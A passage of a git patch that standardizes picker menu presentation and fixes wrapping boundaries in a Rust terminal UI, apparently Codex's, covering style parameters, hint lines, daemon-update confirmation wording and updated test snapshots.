From 79d2144ec698497f710be77e5288b162c72bb11f Mon Sep 17 00:00:00 2001 From: Eric Traut Date: Sat, 19 Sep 2026 19:00:18 +0000 Subject: [PATCH] Standardize TUI picker presentation and fix wrapping boundaries (#46691) ## Why Menu layouts and hints vary across TUI flows, and mismatched measurement and rendering widths can clip subsequent choices when descriptions wrap. ## What changed - Apply shared picker styling across selection menus, with stable columns, descriptions hidden when space is tight, and compact hints derived from configured key bindings. - Measure rows at their actual rendering width, including caller insets, so wrapped options receive enough space. - Wrap model menu headers and shortcut capture content, and use the shared panel surface for shortcut capture. - Indicate clipped headers in non-searchable menus and show the configured `view all` shortcut only when the view supplies one. ## Testing Add regression tests and snapshots for wrapping boundaries, narrow picker layouts, configured selection and cancellation keys, and clipped approval headers. Verify that copy/export actions retain complete payloads and composer drafts. GitOrigin-RevId: 8416bcd3c66b6cd15db3f9c1804f5f005b7964c1 --- codex-rs/tui/src/app/agents_overview.rs | 7 +- .../tui/src/app/agents_overview_actions.rs | 2 + .../tui/src/app/agents_overview_errors.rs | 1 + codex-rs/tui/src/app/daemon_menu.rs | 12 +- codex-rs/tui/src/app/event_dispatch.rs | 7 +- codex-rs/tui/src/app/input.rs | 3 +- codex-rs/tui/src/app/session_lifecycle.rs | 3 +- codex-rs/tui/src/app/session_picker.rs | 3 +- ...s__actions__archive_task_confirmation.snap | 3 +- ..._tests__actions__archive_task_failure.snap | 3 +- ...ts__actions__delete_task_confirmation.snap | 3 +- ...__tests__actions__delete_task_failure.snap | 3 +- ..._menu__tests__daemon_cli_confirmation.snap | 12 +- ...emon_menu__tests__daemon_disconnected.snap | 3 +- ..._app__daemon_menu__tests__daemon_menu.snap | 3 +- ...on_menu__tests__daemon_no_cli_handoff.snap | 3 +- ...n_menu__tests__daemon_remote_guidance.snap | 3 +- ...nu__tests__daemon_stable_confirmation.snap | 13 +- ...on_menu__tests__daemon_unpackaged_cli.snap | 8 +- .../src/app/tests/background_exit_tests.rs | 20 +- .../tui/src/app/tests/disconnect_tests.rs | 1 + codex-rs/tui/src/app/tests/key_chords.rs | 1 + .../app/tests/session_lifecycle_requests.rs | 6 +- ..._tests__backend_banner_after_fallback.snap | 1 + ...ts__luna_reserve_settings_unavailable.snap | 3 +- ...it_tests__running_task_exit_picker_40.snap | 15 ++ ...it_tests__running_task_exit_picker_90.snap | 13 + ...and_center_pending_server_permissions.snap | 3 +- ...ommand_center_retained_worktree_error.snap | 3 +- ...s__command_center_session_start_error.snap | 3 +- ..._policy__misalignment_continue_failed.snap | 1 + ...ealtime_requests__remote_voice_picker.snap | 6 +- ...s__remote_voice_picker_server_default.snap | 4 +- ...ctive_thread_user_verification_prompt.snap | 4 +- ...le_surfaces_pending_user_verification.snap | 3 +- codex-rs/tui/src/app/thread_goal_actions.rs | 3 +- .../tui/src/bottom_pane/actionable_banner.rs | 2 +- .../tui/src/bottom_pane/approval_overlay.rs | 6 + .../approval_overlay/clipping_tests.rs | 101 ++++++++ ...c_approval_opens_the_complete_command.snap | 60 +++++ .../src/bottom_pane/async_questions/input.rs | 5 +- .../src/bottom_pane/async_questions/mod.rs | 5 +- .../src/bottom_pane/async_questions/render.rs | 3 +- ...ests__question_options_width_boundary.snap | 23 ++ ...question_other_clipped_width_boundary.snap | 6 + .../async_questions/state_tests.rs | 56 +++++ codex-rs/tui/src/bottom_pane/command_popup.rs | 53 +++- .../bottom_pane/experimental_features_view.rs | 14 +- .../experimental_features_view_tests.rs | 46 ++++ .../src/bottom_pane/list_selection_view.rs | 70 ++---- .../src/bottom_pane/memories_settings_view.rs | 20 +- .../memories_settings_view_tests.rs | 45 ++++ codex-rs/tui/src/bottom_pane/mod.rs | 14 +- .../tui/src/bottom_pane/picker_presets.rs | 24 ++ codex-rs/tui/src/bottom_pane/picker_style.rs | 2 +- codex-rs/tui/src/bottom_pane/popup_consts.rs | 15 ++ .../src/bottom_pane/selection_picker_tests.rs | 73 +++++- .../src/bottom_pane/selection_popup_common.rs | 227 ++++++++++++------ .../src/bottom_pane/selection_row_layout.rs | 68 +----- ...p__tests__command_popup_wrap_boundary.snap | 60 +++++ ...eep_following_choice_at_wrap_boundary.snap | 39 +++ ...presentation_at_wide_and_narrow_sizes.snap | 48 ++++ ...selection_col_width_mode_fixed_scroll.snap | 30 --- ...n_keeps_both_choices_at_wrap_boundary.snap | 38 +++ ..._tests__description_column_visibility.snap | 16 ++ ..._tests__backend_banner_personal_limit.snap | 2 + ...ckend_banner_workspace_member_credits.snap | 2 + ...__inline_banner_wrapped_and_truncated.snap | 2 + ...n__tests__user_verification_long_urls.snap | 1 + ...tion__tests__user_verification_narrow.snap | 27 +-- ...tion__tests__user_verification_prompt.snap | 1 + .../tests/actionable_banner_tests.rs | 60 +++++ .../bottom_pane/tests/picker_hint_tests.rs | 70 ++++++ ...nner_tests__promoted_action_banner_40.snap | 13 + ...picker_hint_tests__popup_hint_default.snap | 10 + ..._picker_hint_tests__popup_hint_legacy.snap | 10 + ..._picker_hint_tests__popup_hint_picker.snap | 11 + .../tui/src/bottom_pane/user_verification.rs | 5 +- .../bottom_pane/user_verification_tests.rs | 13 +- codex-rs/tui/src/chatwidget.rs | 8 +- codex-rs/tui/src/chatwidget/copy_picker.rs | 107 +++++++++ codex-rs/tui/src/chatwidget/goal_menu.rs | 3 +- codex-rs/tui/src/chatwidget/interaction.rs | 98 -------- .../tui/src/chatwidget/luna_reserve_model.rs | 6 +- .../tui/src/chatwidget/misalignment_policy.rs | 6 +- codex-rs/tui/src/chatwidget/model_popups.rs | 39 +-- .../src/chatwidget/permission_discovery.rs | 10 +- .../tui/src/chatwidget/permission_popups.rs | 32 ++- .../tui/src/chatwidget/permissions_menu.rs | 11 +- codex-rs/tui/src/chatwidget/pets.rs | 3 +- .../tui/src/chatwidget/plan_implementation.rs | 3 +- codex-rs/tui/src/chatwidget/rate_limits.rs | 3 +- .../tui/src/chatwidget/realtime_settings.rs | 3 +- codex-rs/tui/src/chatwidget/review_popups.rs | 59 ++--- .../tui/src/chatwidget/safety_buffering.rs | 6 +- .../src/chatwidget/session_model_selection.rs | 10 +- codex-rs/tui/src/chatwidget/skills.rs | 3 +- codex-rs/tui/src/chatwidget/slash_dispatch.rs | 6 +- ...ltime_settings__tests__voice_settings.snap | 6 +- ..._tests__voice_settings_server_catalog.snap | 4 +- ...vanced_only_reasoning_selection_popup.snap | 3 +- ...atwidget__tests__approval_modal_patch.snap | 5 +- ...get__tests__approvals_selection_popup.snap | 3 +- ...ts__approvals_selection_popup@windows.snap | 9 +- ...get__tests__auto_review_denials_popup.snap | 13 +- ...tests__bedrock_mantle_astra_reasoning.snap | 3 +- ...twidget__tests__bedrock_mantle_models.snap | 4 +- ...ests__bedrock_runtime_astra_reasoning.snap | 3 +- ...widget__tests__bedrock_runtime_models.snap | 4 +- ...sts__clipped_full_access_confirmation.snap | 33 +++ ..._custom_model_display_name_all_models.snap | 4 +- ...ustom_model_display_name_quick_picker.snap | 10 +- ...__custom_model_display_name_reasoning.snap | 4 +- ...tests__full_access_confirmation_popup.snap | 3 +- ...s__guardian_write_stdin_denials_popup.snap | 3 +- ...widget__tests__memories_enable_prompt.snap | 6 +- ..._tests__misalignment_policy_violation.snap | 1 + ..._misalignment_policy_violation_narrow.snap | 1 + ..._misalignment_policy_violation_remote.snap | 1 + ...et__tests__misalignment_review_narrow.snap | 5 +- ...el_advanced_reasoning_selection_popup.snap | 3 +- ...s__model_picker_filters_hidden_models.snap | 3 +- ...el_picker_refresh_preserves_highlight.snap | 8 +- ...s__model_picker_refreshes_auto_models.snap | 10 +- ...ests__model_reasoning_selection_popup.snap | 3 +- ...twidget__tests__model_selection_popup.snap | 9 +- ...get__tests__multi_agent_enable_prompt.snap | 6 +- ...et__tests__permission_discovery_empty.snap | 3 +- ...__tests__permission_discovery_failure.snap | 3 +- ...__tests__permission_discovery_loading.snap | 3 +- ...t__tests__permission_discovery_remote.snap | 4 +- ...get__tests__plan_implementation_popup.snap | 3 +- ...an_implementation_popup_context_usage.snap | 3 +- ...plan_implementation_popup_no_selected.snap | 3 +- ...__profile_permissions_selection_popup.snap | 13 +- ..._selection_popup_with_custom_profiles.snap | 3 +- ...ion_popup_with_disallowed_full_access.snap | 7 +- ..._tests__rate_limit_reset_confirmation.snap | 3 +- ...tests__rate_limit_reset_picker_narrow.snap | 4 +- ..._tests__rate_limit_reset_popup_states.snap | 27 ++- ...tests__rate_limit_switch_prompt_popup.snap | 3 +- ...get__tests__resume_paused_goal_prompt.snap | 3 +- ...get__tests__review_during_mcp_startup.snap | 5 +- ...__safety_buffering_retry_confirmation.snap | 1 + ...y_buffering_retry_confirmation_narrow.snap | 1 + ..._tests__safety_buffering_retry_prompt.snap | 1 + ...ering_side_conversation_without_retry.snap | 1 + ...safety_buffering_status_without_retry.snap | 1 + ...skills_menu_default_mentions_shortcut.snap | 3 +- ...sts__slash_archive_confirmation_popup.snap | 3 +- ...ests__slash_copy_picker_status_fields.snap | 4 +- ...sh_delete_confirmation_command_center.snap | 3 +- ...ests__slash_delete_confirmation_popup.snap | 3 +- ...ests__slash_export_destination_picker.snap | 3 +- ..._chatwidget__tests__slash_pets_picker.snap | 27 +-- ...chatwidget__tests__usage_command_menu.snap | 3 +- ...age_command_menu_before_reset_refresh.snap | 4 +- ...ts__usage_command_menu_without_resets.snap | 3 +- ...dows_sandbox_picker_fallback_false_40.snap | 18 ++ ...ndows_sandbox_picker_fallback_true_40.snap | 20 ++ ...indows_sandbox_required_enable_prompt.snap | 3 +- ...dows_sandbox_required_fallback_prompt.snap | 3 +- ...ts__windows_sandbox_unelevated_policy.snap | 3 +- ...kspace_member_credits_depleted_prompt.snap | 3 +- ...__workspace_member_usage_limit_prompt.snap | 3 +- ...dget__tests__worktree_browser_actions.snap | 4 +- ..._worktree_browser_delete_confirmation.snap | 4 +- ...twidget__tests__worktree_browser_list.snap | 4 +- ...dget__tests__worktree_browser_loading.snap | 4 +- ..._tests__worktree_browser_owner_states.snap | 10 +- ...tests__worktrees_conversation_choices.snap | 4 +- ...widget__tests__worktrees_fork_choices.snap | 5 +- ...twidget__tests__worktrees_new_choices.snap | 5 +- codex-rs/tui/src/chatwidget/tests.rs | 8 + .../tests/copy_export_picker_tests.rs | 78 ++++++ codex-rs/tui/src/chatwidget/tests/guardian.rs | 2 +- .../chatwidget/tests/model_picker_tests.rs | 20 ++ .../tests/permission_picker_tests.rs | 97 ++++++++ .../tui/src/chatwidget/tests/permissions.rs | 45 ++++ .../tui/src/chatwidget/tests/review_mode.rs | 2 +- .../chatwidget/tests/review_picker_tests.rs | 58 +++++ .../tests/session_model_selection_tests.rs | 2 +- ...rs_tests__backend_banner_notification.snap | 1 + ...__luna_reserve_selector_second_choice.snap | 1 + ...tests__luna_reserve_usage_with_upsell.snap | 1 + ...mpleted_commentary_during_active_turn.snap | 3 +- codex-rs/tui/src/chatwidget/tests/usage.rs | 1 + .../chatwidget/tests/worktree_picker_tests.rs | 68 ++++++ .../tui/src/chatwidget/transcript_export.rs | 15 +- codex-rs/tui/src/chatwidget/usage.rs | 9 + .../src/chatwidget/windows_sandbox_prompts.rs | 6 +- .../tui/src/chatwidget/worktree_picker.rs | 51 ++-- codex-rs/tui/src/keymap_setup.rs | 138 +++++------ codex-rs/tui/src/keymap_setup/capture.rs | 24 +- .../tui/src/keymap_setup/capture_tests.rs | 45 ++-- codex-rs/tui/src/keymap_setup/menu_tests.rs | 139 +++++++++++ codex-rs/tui/src/keymap_setup/picker.rs | 7 +- codex-rs/tui/src/pets/picker.rs | 3 +- ...view__tests__agents_overview_embedded.snap | 3 +- ...__tests__agents_overview_resume_error.snap | 3 +- ..._app__tests__path_backed_agent_picker.snap | 3 +- ...app__tests__replace_goal_confirmation.snap | 5 +- ...ked_thread_notifications_agent_picker.snap | 3 +- ..._tests__keymap_action_menu_responsive.snap | 36 ++- ...map_setup__tests__keymap_capture_view.snap | 30 +-- ...map_setup__tests__keymap_voice_toggle.snap | 7 +- codex-rs/tui/src/theme_picker.rs | 3 +- codex-rs/tui/src/theme_picker_model_tests.rs | 4 +- 208 files changed, 2475 insertions(+), 857 deletions(-) create mode 100644 codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_exit_tests__running_task_exit_picker_40.snap create mode 100644 codex-rs/tui/src/app/tests/snapshots/codex_tui__app__tests__background_exit_tests__running_task_exit_picker_90.snap create mode 100644 codex-rs/tui/src/bottom_pane/approval_overlay/clipping_tests.rs create mode 100644 codex-rs/tui/src/bottom_pane/approval_overlay/snapshots/codex_tui__bottom_pane__approval_overlay__clipping_tests__clipped_exec_approval_opens_the_complete_command.snap create mode 100644 codex-rs/tui/src/bottom_pane/async_questions/snapshots/codex_tui__bottom_pane__async_questions__tests__question_options_width_boundary.snap create mode 100644 codex-rs/tui/src/bottom_pane/async_questions/snapshots/codex_tui__bottom_pane__async_questions__tests__question_other_clipped_width_boundary.snap create mode 100644 codex-rs/tui/src/bottom_pane/memories_settings_view_tests.rs create mode 100644 codex-rs/tui/src/bottom_pane/picker_presets.rs create mode 100644 codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__command_popup__tests__command_popup_wrap_boundary.snap create mode 100644 codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__experimental_features_view__tests__experimental_features_keep_following_choice_at_wrap_boundary.snap create mode 100644 codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__picker_tests__shared_menu_presentation_at_wide_and_narrow_sizes.snap delete mode 100644 codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap create mode 100644 codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__memories_settings_view__tests__reset_confirmation_keeps_both_choices_at_wrap_boundary.snap create mode 100644 codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__selection_popup_common__tests__description_column_visibility.snap create mode 100644 codex-rs/tui/src/bottom_pane/tests/picker_hint_tests.rs create mode 100644 codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__actionable_banner_tests__promoted_action_banner_40.snap create mode 100644 codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_default.snap create mode 100644 codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_legacy.snap create mode 100644 codex-rs/tui/src/bottom_pane/tests/snapshots/codex_tui__bottom_pane__tests__picker_hint_tests__popup_hint_picker.snap create mode 100644 codex-rs/tui/src/chatwidget/copy_picker.rs create mode 100644 codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__clipped_full_access_confirmation.snap create mode 100644 codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_picker_fallback_false_40.snap create mode 100644 codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_picker_fallback_true_40.snap create mode 100644 codex-rs/tui/src/chatwidget/tests/copy_export_picker_tests.rs create mode 100644 codex-rs/tui/src/chatwidget/tests/model_picker_tests.rs create mode 100644 codex-rs/tui/src/chatwidget/tests/permission_picker_tests.rs create mode 100644 codex-rs/tui/src/chatwidget/tests/review_picker_tests.rs create mode 100644 codex-rs/tui/src/keymap_setup/menu_tests.rs diff --git a/codex-rs/tui/src/app/agents_overview.rs b/codex-rs/tui/src/app/agents_overview.rs index cc8098bb60..23646a33cd 100644 --- a/codex-rs/tui/src/app/agents_overview.rs +++ b/codex-rs/tui/src/app/agents_overview.rs @@ -21,7 +21,7 @@ use crate::app_event::AgentsOverviewThreadRefresh; use crate::bottom_pane::SelectionDescriptionLayout; use crate::bottom_pane::SelectionItem; use crate::bottom_pane::SelectionViewParams; -use crate::bottom_pane::popup_consts::standard_popup_hint_line_for_keymap; +use crate::bottom_pane::popup_consts::picker_hint_line_for_keymap; use crate::chatwidget::ThreadInputStateRestoreMode; use crate::startup_draft::StartupDraftPump; use codex_app_server_protocol::SessionSource; @@ -74,6 +74,7 @@ impl App { if matches!(self.app_server_target, AppServerTarget::Embedded) { let workload_identity_selected = codex_login::is_workload_identity_selected(); self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Shared agents unavailable".to_string()), subtitle: Some( if workload_identity_selected { @@ -91,7 +92,7 @@ impl App { .dim(), ) }), - footer_hint: Some(standard_popup_hint_line_for_keymap(&self.keymap.list)), + footer_hint: Some(picker_hint_line_for_keymap(&self.keymap.list)), items: [ #[cfg(any(unix, windows))] (!workload_identity_selected).then(|| SelectionItem { @@ -112,7 +113,7 @@ impl App { .into_iter() .flatten() .collect(), - description_layout: SelectionDescriptionLayout::StackBelowWhenNarrow { + description_layout: SelectionDescriptionLayout::HideWhenNarrow { min_description_width: 28, }, ..Default::default() diff --git a/codex-rs/tui/src/app/agents_overview_actions.rs b/codex-rs/tui/src/app/agents_overview_actions.rs index dd9cbd77b3..14ff91a989 100644 --- a/codex-rs/tui/src/app/agents_overview_actions.rs +++ b/codex-rs/tui/src/app/agents_overview_actions.rs @@ -137,6 +137,7 @@ impl App { ), }; self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, header: Box::new(LifecycleHeader(vec![ title.bold().into(), description.dim().into(), @@ -307,6 +308,7 @@ impl App { ); } self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, header: Box::new(LifecycleHeader(header)), items: vec![SelectionItem { name: "Back to agents".to_string(), diff --git a/codex-rs/tui/src/app/agents_overview_errors.rs b/codex-rs/tui/src/app/agents_overview_errors.rs index 5dc356b8d1..554460c287 100644 --- a/codex-rs/tui/src/app/agents_overview_errors.rs +++ b/codex-rs/tui/src/app/agents_overview_errors.rs @@ -33,6 +33,7 @@ impl App { ..Default::default() }]; self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, header: Box::new(AgentsOverviewErrorHeader(vec![ Line::from("Unable to complete action".bold()), Line::from(message.clone().dim()), diff --git a/codex-rs/tui/src/app/daemon_menu.rs b/codex-rs/tui/src/app/daemon_menu.rs index abf56cc2b0..7c92ae5cbb 100644 --- a/codex-rs/tui/src/app/daemon_menu.rs +++ b/codex-rs/tui/src/app/daemon_menu.rs @@ -79,9 +79,10 @@ impl App { }) .collect(); self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, header: Box::new(DaemonMenuHeader(header)), items, - ..Default::default() + ..SelectionViewParams::picker() }); } @@ -93,18 +94,19 @@ impl App { return; } let mut explanation = match source { - DaemonUpdateSource::PublicStable => "Install the latest public stable release (version resolved when the command runs). Production update eligibility will be restored; your automatic-update setting is preserved.".to_string(), + DaemonUpdateSource::PublicStable => "Install the latest public stable release. Restore production updates; keep your automatic-update setting.".to_string(), DaemonUpdateSource::ThisCli => { let version = codex_install_context::InstallContext::current() .package_manifest() .map_or_else(|| CODEX_CLI_VERSION.to_string(), |manifest| manifest.version.to_string()); - format!("Use this CLI package v{version} from {}. The complete local package will be copied and pinned against automatic updates.", executable.display()) + format!("Use this CLI package v{version} from {}. Copy the complete package and pin it against automatic updates.", executable.display()) } }; - explanation.push_str("\nThe daemon will restart if needed. Active or queued work may be interrupted.\nCodex will exit and run the update in this terminal, then return to the shell. Relaunch Codex afterward."); + explanation.push_str("\nThis may restart the daemon and interrupt active or queued work.\nCodex exits to update in this terminal. Relaunch it afterward."); let mut header = vec![Line::from("Update daemon and exit Codex?".bold())]; header.extend(explanation.lines().map(|line| Line::from(line.to_owned()))); self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, header: Box::new(DaemonMenuHeader(header)), items: vec![ SelectionItem { @@ -122,7 +124,7 @@ impl App { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); } } diff --git a/codex-rs/tui/src/app/event_dispatch.rs b/codex-rs/tui/src/app/event_dispatch.rs index 5a6f2506a3..2bc5706542 100644 --- a/codex-rs/tui/src/app/event_dispatch.rs +++ b/codex-rs/tui/src/app/event_dispatch.rs @@ -3096,7 +3096,12 @@ impl App { Ok(runtime_keymap) => runtime_keymap, Err(err) => { let params = crate::keymap_setup::build_keymap_conflict_params( - context, action, key, intent, err, + context, + action, + key, + intent, + err, + &self.keymap, ); self.chat_widget.show_selection_view(params); return; diff --git a/codex-rs/tui/src/app/input.rs b/codex-rs/tui/src/app/input.rs index ec3ba30ef4..d46a805f9a 100644 --- a/codex-rs/tui/src/app/input.rs +++ b/codex-rs/tui/src/app/input.rs @@ -385,6 +385,7 @@ impl App { let allow_background = running_side_thread_id.is_none() && !self.chat_widget.has_queued_follow_up_messages(); self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Task is still running".to_string()), subtitle: Some("Choose what happens to the current task.".to_string()), footer_hint: Some(standard_popup_hint_line()), @@ -419,7 +420,7 @@ impl App { ..Default::default() }) .collect(), - ..Default::default() + ..SelectionViewParams::picker() }); return; } diff --git a/codex-rs/tui/src/app/session_lifecycle.rs b/codex-rs/tui/src/app/session_lifecycle.rs index df48cc7f0a..41353b4c14 100644 --- a/codex-rs/tui/src/app/session_lifecycle.rs +++ b/codex-rs/tui/src/app/session_lifecycle.rs @@ -213,13 +213,14 @@ impl App { .collect(); SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(AGENT_PICKER_VIEW_ID), title: Some("Subagents".to_string()), subtitle: Some(AgentNavigationState::picker_subtitle()), footer_hint: Some(standard_popup_hint_line()), items, initial_selected_idx, - ..Default::default() + ..SelectionViewParams::picker() } } diff --git a/codex-rs/tui/src/app/session_picker.rs b/codex-rs/tui/src/app/session_picker.rs index 846123acca..499587b290 100644 --- a/codex-rs/tui/src/app/session_picker.rs +++ b/codex-rs/tui/src/app/session_picker.rs @@ -144,6 +144,7 @@ impl App { .is_some() { self.chat_widget.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Unable to resume session".to_string()), subtitle: Some(message.clone()), items: vec![SelectionItem { @@ -151,7 +152,7 @@ impl App { dismiss_on_select: true, ..Default::default() }], - ..Default::default() + ..SelectionViewParams::picker() }); } self.chat_widget.add_error_message(message); diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__archive_task_confirmation.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__archive_task_confirmation.snap index 9808a756b8..9597a03379 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__archive_task_confirmation.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__archive_task_confirmation.snap @@ -6,7 +6,8 @@ expression: "render_bottom_popup(&app.chat_widget, 72)" This stops any running work in this task and its child agents, then archives them. Their history can be restored from the resume picker. + › 1. Cancel 2. Archive task and child agents - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__archive_task_failure.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__archive_task_failure.snap index 7556b48701..07e03d0b99 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__archive_task_failure.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__archive_task_failure.snap @@ -7,6 +7,7 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" thread id 00000000-0000-0000-0000-000000000001 (code -32600) Work may have stopped. Resume the task to continue, or retry the action. + › 1. Back to agents - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__delete_task_confirmation.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__delete_task_confirmation.snap index 226b8a0592..d5a6bb23c8 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__delete_task_confirmation.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__delete_task_confirmation.snap @@ -6,7 +6,8 @@ expression: "render_bottom_popup(&app.chat_widget, 72)" This stops any running work in this task and its child agents, then permanently deletes their history. This cannot be undone. + › 1. Cancel 2. Permanently delete task and child agents - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__delete_task_failure.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__delete_task_failure.snap index d6f2795757..8333f14d24 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__delete_task_failure.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__agents_overview__tests__actions__delete_task_failure.snap @@ -7,6 +7,7 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" id 00000000-0000-0000-0000-000000000001 (code -32600) Work may have stopped. Resume the task to continue, or retry the action. + › 1. Back to agents - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_cli_confirmation.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_cli_confirmation.snap index 7a8fb7160c..4de9db012c 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_cli_confirmation.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_cli_confirmation.snap @@ -3,13 +3,13 @@ source: tui/src/app/daemon_menu_tests.rs expression: "render_bottom_popup(&app.chat_widget,\nwidth).replace(r\"C:\\cli-build\\bin\\codex\", \"/x/cli-build/bin/codex\")" --- Update daemon and exit Codex? - Use this CLI package v0.0.0 from /x/cli-build/bin/codex. The complete local package will be - copied and pinned against automatic updates. - The daemon will restart if needed. Active or queued work may be interrupted. - Codex will exit and run the update in this terminal, then return to the shell. Relaunch Codex - afterward. + Use this CLI package v0.0.0 from /x/cli-build/bin/codex. Copy the complete package and pin it + against automatic updates. + This may restart the daemon and interrupt active or queued work. + Codex exits to update in this terminal. Relaunch it afterward. + › 1. Cancel 2. Update and exit - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_disconnected.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_disconnected.snap index b28f674e84..70a761197d 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_disconnected.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_disconnected.snap @@ -5,7 +5,8 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Daemon Not connected to the local background server. + › 1. Install latest public stable 2. Use this CLI build - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_menu.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_menu.snap index 24f632d8a8..bc8a91e3ea 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_menu.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_menu.snap @@ -5,7 +5,8 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Daemon Running daemon: v0.153.0 + › 1. Install latest public stable 2. Use this CLI build - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_no_cli_handoff.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_no_cli_handoff.snap index 61e52edc63..8232050e7b 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_no_cli_handoff.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_no_cli_handoff.snap @@ -6,7 +6,8 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Not connected to the local background server. Run the Codex CLI to manage the daemon from this menu. + › Install latest public stable Use this CLI build - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_remote_guidance.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_remote_guidance.snap index f590a18d74..ea209abfb4 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_remote_guidance.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_remote_guidance.snap @@ -7,7 +7,8 @@ expression: "render_bottom_popup(&app.chat_widget, 80)" Manage this server on its host. Local daemon updates are unavailable for remote connections. + › Install latest public stable Use this CLI build - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_stable_confirmation.snap b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_stable_confirmation.snap index f8028d94b4..f49bcbef1c 100644 --- a/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_stable_confirmation.snap +++ b/codex-rs/tui/src/app/snapshots/codex_tui__app__daemon_menu__tests__daemon_stable_confirmation.snap @@ -3,14 +3,13 @@ source: tui/src/app/daemon_menu_tests.rs expression: 